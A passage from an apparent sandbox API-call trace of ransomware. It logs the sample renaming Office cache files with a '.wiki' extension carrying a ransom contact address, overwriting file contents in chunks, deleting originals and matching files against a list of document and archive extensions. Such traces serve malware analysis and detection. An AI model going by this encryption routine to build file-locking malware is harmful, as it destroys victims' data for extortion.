"c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0059.047] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0059.048] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0059.048] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0059.048] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.048] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.051] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.053] ReadFile (in: hFile=0x224, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.055] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0059.055] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0059.055] ReadFile (in: hFile=0x224, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0059.070] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.070] WriteFile (in: hFile=0x224, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0059.086] SetEndOfFile (hFile=0x224) returned 1 [0059.086] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0059.087] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.087] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.087] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.087] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.088] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0059.088] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0059.090] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0059.090] CloseHandle (hObject=0x224) returned 1 [0059.090] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0059.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.090] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.090] lstrlenW (lpString=".doc") returned 4 [0059.090] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.090] lstrlenW (lpString=".docx") returned 5 [0059.090] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.090] lstrlenW (lpString=".pdf") returned 4 [0059.090] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.090] lstrlenW (lpString=".xls") returned 4 [0059.090] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.090] lstrlenW (lpString=".xlsx") returned 5 [0059.090] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.090] lstrlenW (lpString=".ppt") returned 4 [0059.090] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".zip") returned 4 [0059.091] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".rar") returned 4 [0059.091] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".bz2") returned 4 [0059.091] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.091] lstrlenW (lpString=".7z") returned 3 [0059.091] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".dbf") returned 4 [0059.091] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".1cd") returned 4 [0059.091] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".jpg") returned 4 [0059.091] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".doc") returned 4 [0059.091] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".docx") returned 5 [0059.091] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0059.091] lstrlenW (lpString=".pdf") returned 4 [0059.091] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".xls") returned 4 [0059.091] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".xlsx") returned 5 [0059.091] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0059.091] lstrlenW (lpString=".ppt") returned 4 [0059.091] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.091] lstrlenW (lpString=".zip") returned 4 [0059.091] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0059.091] lstrlenW (lpString=".rar") returned 4 [0059.092] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0059.092] lstrlenW (lpString=".bz2") returned 4 [0059.092] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0059.092] lstrlenW (lpString=".7z") returned 3 [0059.092] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0059.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.092] lstrlenW (lpString=".dbf") returned 4 [0059.092] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0059.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.092] lstrlenW (lpString=".1cd") returned 4 [0059.092] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0059.092] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0059.092] lstrlenW (lpString=".jpg") returned 4 [0059.092] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0059.092] lstrcmpiW (lpString1=".xrm-ms", lpString2=".wiki") returned 1 [0059.092] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0059.092] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0059.092] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=715834) returned 1 [0059.092] CloseHandle (hObject=0x224) returned 1 [0059.092] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0059.092] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0059.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0059.093] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.093] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0059.093] GetLastError () returned 0x0 [0059.093] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0060.107] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0060.119] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.119] WriteFile (in: hFile=0x200, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fc9c*=0x104, lpOverlapped=0x0) returned 1 [0060.119] SetEndOfFile (hFile=0x200) returned 1 [0060.119] CloseHandle (hObject=0x200) returned 1 [0060.119] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.119] SetEndOfFile (hFile=0x224) returned 1 [0060.125] CloseHandle (hObject=0x224) returned 1 [0060.125] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.125] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0060.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.125] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.125] lstrlenW (lpString=".doc") returned 4 [0060.125] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0060.125] lstrlenW (lpString=".docx") returned 5 [0060.125] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0060.125] lstrlenW (lpString=".pdf") returned 4 [0060.125] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0060.125] lstrlenW (lpString=".xls") returned 4 [0060.125] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0060.125] lstrlenW (lpString=".xlsx") returned 5 [0060.125] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0060.126] lstrlenW (lpString=".ppt") returned 4 [0060.126] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".zip") returned 4 [0060.126] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".rar") returned 4 [0060.126] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".bz2") returned 4 [0060.126] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".7z") returned 3 [0060.126] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".dbf") returned 4 [0060.126] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".1cd") returned 4 [0060.126] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".jpg") returned 4 [0060.126] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".doc") returned 4 [0060.126] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".docx") returned 5 [0060.126] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0060.126] lstrlenW (lpString=".pdf") returned 4 [0060.126] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".xls") returned 4 [0060.126] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString=".xlsx") returned 5 [0060.126] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0060.126] lstrlenW (lpString=".ppt") returned 4 [0060.126] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0060.126] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.126] lstrlenW (lpString=".zip") returned 4 [0060.127] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0060.127] lstrlenW (lpString=".rar") returned 4 [0060.127] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0060.127] lstrlenW (lpString=".bz2") returned 4 [0060.127] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0060.127] lstrlenW (lpString=".7z") returned 3 [0060.127] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0060.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.127] lstrlenW (lpString=".dbf") returned 4 [0060.127] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0060.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.127] lstrlenW (lpString=".1cd") returned 4 [0060.127] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0060.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0060.127] lstrlenW (lpString=".jpg") returned 4 [0060.127] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0060.127] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0060.127] lstrlenW (lpString="VisiorWW.msi") returned 12 [0060.127] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.127] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=12060672) returned 1 [0060.127] CloseHandle (hObject=0x224) returned 1 [0060.128] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0060.128] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0060.128] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0060.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0060.128] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.128] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.128] ReadFile (in: hFile=0x224, lpBuffer=0x3ca0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ca0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.353] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.353] ReadFile (in: hFile=0x224, lpBuffer=0x3ce0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ce0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.359] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.360] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.360] ReadFile (in: hFile=0x224, lpBuffer=0x3d20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d20058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.374] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.374] WriteFile (in: hFile=0x224, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0060.766] SetEndOfFile (hFile=0x224) returned 1 [0060.766] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0060.769] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.770] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.771] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.771] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.778] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x224, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0060.780] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0060.780] CloseHandle (hObject=0x224) returned 1 [0060.780] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.781] lstrlenW (lpString=".doc") returned 4 [0060.781] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0060.781] lstrlenW (lpString=".docx") returned 5 [0060.781] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0060.781] lstrlenW (lpString=".pdf") returned 4 [0060.781] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0060.781] lstrlenW (lpString=".xls") returned 4 [0060.781] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0060.781] lstrlenW (lpString=".xlsx") returned 5 [0060.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0060.781] lstrlenW (lpString=".ppt") returned 4 [0060.781] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0060.781] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0060.781] lstrlenW (lpString=".zip") returned 4 [0060.781] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0060.781] lstrlenW (lpString=".rar") returned 4 [0060.781] lstrcmpiW (lpString1=".rar", 